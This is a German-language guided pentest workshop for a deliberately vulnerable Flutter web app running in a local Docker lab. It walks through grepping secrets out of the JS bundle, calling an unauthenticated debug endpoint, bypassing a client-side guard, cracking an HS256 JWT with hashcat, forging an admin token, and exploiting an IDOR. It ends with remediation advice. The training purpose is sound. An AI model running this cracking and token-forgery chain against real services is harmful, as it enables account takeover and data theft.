Cloud, Mobile und IoT — Geführte Demonstration
Wir wenden die Pentest-Logik für Mobile von 2026 konkret an einer absichtlich verwundbaren Flutter-App an: Der Client ist niemals eine Sicherheitsgrenze, alles, was auf dem Telefon lebt, gelangt am Ende nach draußen, und die echte Kontrolle liegt auf der API-Seite.
Was Sie können werden
- Die fünf klassischen Schwächen einer schlecht programmierten Flutter-App erkennen, sowohl aus dem Bundle als auch aus dem Verhalten der API.
- Diese Schwächen zu einer kurzen und einer langen Angriffskette verketten.
- Wissen, was im Bericht dokumentiert werden muss und welche Korrektur vom Entwickler zu erwarten ist.
Einrichtung
Der Workshop nutzt ein Docker-Lab unter
labs/docker/module-11-mobile-flutter/. Drei Container:
app— nginx, das den Flutter-Web-Build unterhttp://localhost:8080ausliefert.api— Node/Express-Backend unterhttp://localhost:3000.attaquant— Kali-Station (Imageinskillsec/kali-lab) im internen Netzwerk10.20.40.0/24.
Aus dem Repository heraus:
cd labs/docker/module-11-mobile-flutter
docker compose up -d
Prüfen Sie:
curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}
Öffnen Sie http://localhost:8080 in Ihrem Browser: Sie sehen die
Login-Seite der Flutter-Web-App.
Der Ablauf, Schritt für Schritt
1. Visuelle Recon — DevTools geöffnet
Laden Sie die Seite, öffnen Sie den Tab Network, bevor Sie sich
anmelden. Klicken Sie auf den Button Sign in. Sie sehen einen
POST an http://localhost:3000/api/auth/login mit einem
JSON-Body {"email":"...","password":"..."}. Notieren Sie sich
bereits die Domain, den Port und die Struktur des Bodys: Das ist
Ihre Karte der API.
2. Grep des Bundles
Die Flutter-Web-App lädt main.dart.js. Holen Sie sie manuell:
curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js
Erwartete Ausgabe:
var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';
Drei Entdeckungen mit einem Befehl:
- Die URL der API (Sie hatten sie bereits über DevTools, aber dieser Weg funktioniert auch ohne Browser).
- Ein Premium-API-Schlüssel, der nie im Client hätte landen dürfen.
- Ein Debug-Endpunkt, den der Entwickler „zum Testen" hinterlassen und vergessen hat.
Warum dieser Debug-Endpunkt eine Falle ist
Bei einer echten Flutter-App stammt diese Art von String aus einem
reFlutter- oder blutter-Dump der Datei libapp.so der APK. Das
Ergebnis ist identisch: Der Entwickler glaubt, die Dart-Konstanten
seien „kompiliert", ein Angreifer holt sie mit einem einzigen Befehl.
Die Lektion ist plattformunabhängig.
3. Kurzer Weg — /api/debug/env
Der Pfad /api/debug/env liegt nicht in der Logik der App, er
verlangt keine Authentifizierung. Sie sind technisch bereits am
Ziel:
curl -s http://localhost:3000/api/debug/env
Erwartete Ausgabe:
{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}
Sie haben bereits das Flag. In einem Pentest-Bericht wäre das Befund Nr. 1, von jedem ausnutzbar, eingestuft als Kritisch. Dokumentieren Sie es.
4. Clientseitiger Bypass — Dashboard ohne Konto
Zurück im Browser. Sie haben kein Token. Öffnen Sie die DevTools-Konsole und geben Sie ein:
localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';
Das Dashboard erscheint. Aber nach einer Sekunde wechselt es zu „Session expired" und schickt Sie zurück zum Login. Warum?
- Die clientseitige Schutzmaßnahme
(
AuthService.isAuthenticated()) prüft nur, oblocalStorage.auth_token !== nullist. Allein das Schreiben eines beliebigen Werts besteht die Prüfung. - Der Aufruf
GET /api/memit dem falschen Token liefert ein401, die Seite erkennt das und leitet um.
Pädagogische Lektion: Die clientseitige Schutzmaßnahme dient dem Design, nicht der Sicherheit. Ein Entwickler, der sie allein einsetzt, glaubt geschützt zu sein — ist es aber nicht.
5. Langer Weg — HS256 knacken + Admin-Token fälschen
Erstellen Sie zunächst ein normales Konto, um ein JWT abzufangen:
curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Extrahieren Sie das Token. Dekodieren Sie Header und Payload:
TOKEN="<token retourne>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}
Der Header sagt HS256: Die Signatur ist ein HMAC-SHA-256 über
header.payload mit einem geteilten Secret. Dieses Secret lebt
ausschließlich serverseitig, aber wenn es schwach ist, lässt es sich
per Offline-Brute-Force finden:
echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Das geknackte Wort ist s3cr3t2025. Prüfen Sie anschließend mit
openssl, dass die Signatur Ihres Tokens tatsächlich diesem Secret
entspricht (optional, aber lehrreich):
HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Doit coincider avec ce qui suit le second point dans $TOKEN.
Sie fälschen nun ein Token mit role=admin, sub=1:
NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"
6. IDOR — Dump des Admin-Passworts im Klartext
Sie brauchen nicht einmal das gefälschte JWT für das IDOR: Evas normales Token genügt, die API prüft den Eigentümer nicht.
curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Erwartete Ausgabe:
{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}
Das Passwort liegt serverseitig im Klartext vor — zweite gravierende Lücke, die dokumentiert werden muss. Bei einem echten Backend wäre das ein bcrypt-Hash, aber viele amateurhafte mobile Apps speichern serverseitig im Klartext.
7. Admin-Zugriff — das Flag durch die Vordertür
Zum Schluss der Admin-Endpunkt:
curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Erwartete Ausgabe:
{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}
Dasselbe Flag wie beim kurzen Weg, aber durch die Vordertür erlangt: Genau das würde ein echter Pentester tun, um die vollständige Kette zu belegen und nicht nur die triviale Lücke.
Die Ausgabe lesen
Drei Aussagen, die Sie vor einem Kunden formulieren können müssen:
- Jede Dart-Konstante landet im Binary. Wenn Ihr Backend ein
Secret verlangt, hat es im mobilen Client nichts zu suchen.
Sowohl im Flutter-Web-Bundle als auch in einer
.apkgenügt eine simple Textsuche. - HS256 ist knackbar, sobald das Secret nicht aus einem
Zufallsgenerator stammt.
s3cr3t2025fällt in Sekunden. Ein starkes Secret hat mindestens 32 zufällige Bytes, base64-kodiert. Noch besser: auf RS256 mit einem Schlüsselpaar wechseln, der private Schlüssel bleibt serverseitig. - IDOR = Authentifizierung ohne Autorisierung. Ein gültiges
Token ist keine Berechtigung. Jeder Endpunkt, der eine
:idakzeptiert, muss prüfen, dass der Aufrufer die Ressource besitzt oder einsehen darf.
Wenn es hakt
- Sie geben den falschen
curl-Befehl ein und die API antwortet mitMissing token. Prüfen Sie das FormatAuthorization: Bearer <token>, ohne überflüssige Anführungszeichen. - Hashcat meldet
Line-length exception: Ihre Datei enthält nur eine Zeile, aber diese muss das gesamte JWT enthalten (drei durch Punkte getrennte Teile), nicht nur die Signatur. - Das IDOR liefert
404: Prüfen Sie, ob die angeforderte ID existiert.1,2,3sind die Seeds; die folgenden IDs sind Ihre eigenen Registrierungen.